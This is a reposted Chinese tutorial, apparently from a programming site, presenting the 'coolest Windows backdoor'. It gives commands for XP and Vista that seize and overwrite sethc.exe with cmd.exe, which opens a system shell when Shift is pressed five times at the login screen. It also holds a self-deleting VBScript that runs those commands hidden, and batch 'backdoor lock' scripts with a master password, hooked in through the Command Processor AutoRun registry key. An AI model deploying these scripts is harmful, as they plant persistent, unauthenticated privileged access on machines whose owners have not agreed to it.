程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> .NET網頁編程 >> .NET實例教程 >> 最酷的windows後門

最酷的windows後門

編輯:.NET實例教程
KiwiCsj注:sethc.exe(粘滯鍵)對我的(非家用電腦)系統無效,因為我的常規做法是裝完系統就把這三項熱鍵中的前兩項(粘滯鍵和篩選鍵)的熱鍵停用掉了,以防止有時候使用電腦的過程中無意中按出來影響情緒;另外提一點:文末加的密碼驗證又是一層一捅就破的窗戶紙,有興趣測試的朋友可以試一下在出來要求驗證時按Ctrl+C,Y,看一下什麼結果。如果可以加上臨時屏蔽Ctrl鍵就好了,驗證過程結束時恢復文字色彩、常規標題、恢復ctrl鍵就更完美了,比如:在最後一行附上:cls&title CMD&color&ver   。Ctrl鍵屏蔽與恢復的問題還要等待時間深入研究。

來源:安全焦點

後門原理:

轉至:小章 blog http://blog.csdn.Net/scz123/archive/2007/03/14/1528695.ASPx

在windows 2000/xp/Vista下,按shift鍵5次,可以打開粘置,會運行sethc.exe,而且,在登錄界面裡也可以打開。這就讓人聯想到Windows的屏保,將程序替換成cmd.exe後,就可以打開shell了。

參考McafeeAvertLabs:
http://feeds.feedburner.com/~r/McafeeAvertLabsBlog/~3/101149799/

XP:
將安裝源光盤彈出(或將硬盤上的安裝目錄改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe

Vista:
takeown /f c:\Windows\system32\sethc.exe
cacls c:\Windows\system32\sethc.exe /G administrator:F
然後按XP方法替換文件

在登錄界面按5此SHIFT,出來cmd shell,然後……

 
後門擴展:

轉至:7j blog http://1v1.name/show-241-1.Html#cm300

再更新一下
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)

第二句最有意思了.嘿嘿..自動應答....以前就遇到過類似的問題

再更新.加個自刪除,簡化代碼...
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

allyesno注:對付文件保護的辦法還可以參照我的文章 cut wfp ''s jj easily

https://www.xfocus.Net/bbs/index.PHP?act=SE&f=2&t=58099&p=269293

後門鎖擴展:

allyesno注:可以采用cmd 鎖 來進行cmdshell的密碼驗證 嘿嘿。。。

用下面的後門鎖的方法是 把代碼保存為bdlock.bat

然後修改注冊表位置即可

[HKEY_LOCAL_MacHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="bdlock.bat"

@Echo Off
title 後門登陸驗證
color a
cls
set temprandom=%RANDOM%
echo 請輸入驗證碼:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem 後門服務器驗證
rem 如果沒有後門驗證服務器請rem注釋掉下一行代碼
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 驗證失敗
pause
exit
:passcheck
echo 驗證成功
If "%passcmdlock%"=="http://blog.csdn.Net/freexploit/" Goto endx
Set passcmdlock=http://blog.csdn.Net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo 請輸入驗證密碼?
Set passWord=allyesno Is a pig>nul
Set/p passWord=
rem 萬能密碼
if "%passWord%"=="allyesno is a sb" goto endx

if "%passWord%"=="allyesno is a sb" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^passWord=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
If "%errorlevel%"=="0" cls&Echo 口令正確&Goto End
Echo 請聯系瑞星客服咨詢正確密碼!&Goto allyesno
:End
Set passWord=>nul
Set Errorlevel=>nul
Echo 很好,很和諧!
:endx




[KiwiCsj附測試修改後的CMD啟動驗證批處理]

文末最後一段真的有點意思,測試並修改後的批處理再添加上,修飾了過程中的文字,添加了結束時的常規樣式恢復,同時搞明白了,原來Ctrl+C的避免方法,就是過程中使用pause暫停後面要緊跟exit,如還要繼續程序的就不要使用pause暫停,否則就有被Ctrl+C中止跳出的危險,正常使用的過程是:輸入兩遍顯示的隨機碼回車,然後再輸入qIE(我下面的過程中的密碼)回車即恢復平時的可操作樣式,內容如下:



程序代碼

@Echo Off
title KiwiCsj計算機域登錄驗證&color a&cls
:kcst
set temprandom=%RANDOM%
echo 請輸入驗證碼:%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem KiwiCsj計算機域登錄驗證
rem 如果沒有後門驗證服務器請rem注釋掉下一行代碼
if exist \192.168.9.99\kcsj$\bsps goto passcheck
Echo 你真的明白自己在做什麼嗎? 
pause>nul&exit
)
cls&Echo 驗證碼錯誤,請重試!
goto kcst
Set passWord=>nul
Set Errorlevel=>nul
exit
:passcheck
echo 服務器驗證成功
If "%passcmdlock%"=="http://kiwicsj.cn" Goto endx
Set passcmdlock=http://kiwicsj.cn
:allyesno
Set Errorlevel=>nul
Echo 請輸入登錄密碼?
Set passWord=哦,這樣也行啊?>nul

Set passWord=哦,這樣也行啊?>nul
Set/p passWord=
rem 萬能密碼
if "%passWord%"=="qIE" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^passWord=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
If "%errorlevel%"=="0" cls&Echo 口令正確&Goto End
cls&Echo 請聯系域管理員獲取正確密碼!&Goto allyesno
:End
Set passWord=>nul
Set Errorlevel=>nul
Echo 很好,很和諧!
:endx 
cls&title CMD&color&ver

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved